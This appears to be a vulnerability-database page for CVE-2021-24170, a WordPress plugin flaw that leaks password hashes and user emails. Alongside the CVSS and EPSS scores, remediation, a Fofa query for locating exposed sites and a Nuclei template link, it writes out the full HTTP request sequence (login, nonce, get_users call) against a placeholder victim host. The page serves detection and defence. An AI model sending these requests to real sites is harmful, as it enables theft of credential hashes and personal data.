🔙 목록으로 돌아가기

CVE-2021-24170: User Profile Picture < 2.5.0 - Sensitive Information Disclosure

TitleUser Profile Picture < 2.5.0 - Sensitive Information Disclosure
Authors4e-io
SeverityHigh
ImpactAuthenticated users with upload_files capability can extract sensitive user information including password hashes, activation keys, usernames, and email addresses via REST API endpoint.
RemediationUpdate to User Profile Picture version 2.5.0 or later.
CVSS Score7.5
EPSS Score0.28674
CVE IDCVE-2021-24170
CWE IDCWE-200
Fofa Querybody="/wp-content/plugins/metronet-profile-picture"
Tags cve cve2021 wp wp-plugin wpscan wordpress info-leak authenticated metronet-profile-picture vkev vuln

🔍 Vulnerability Description

The REST API endpoint get_users in the User Profile Picture WordPress plugin before 2.5.0 returned more information than was required for its functionality to users with the upload_files capability. This included password hashes, hashed user activation keys, usernames, emails, and other less sensitive information.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=0SdciA&pwd=Geh2rP&wp-submit=Log+In
POST /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
Accept-Encoding: gzip

0
POST /index.php?rest_route=/mpp/v2/get_users HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
X-WP-Nonce: Pbz5c0
Accept-Encoding: gzip

0

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24170.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24170.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A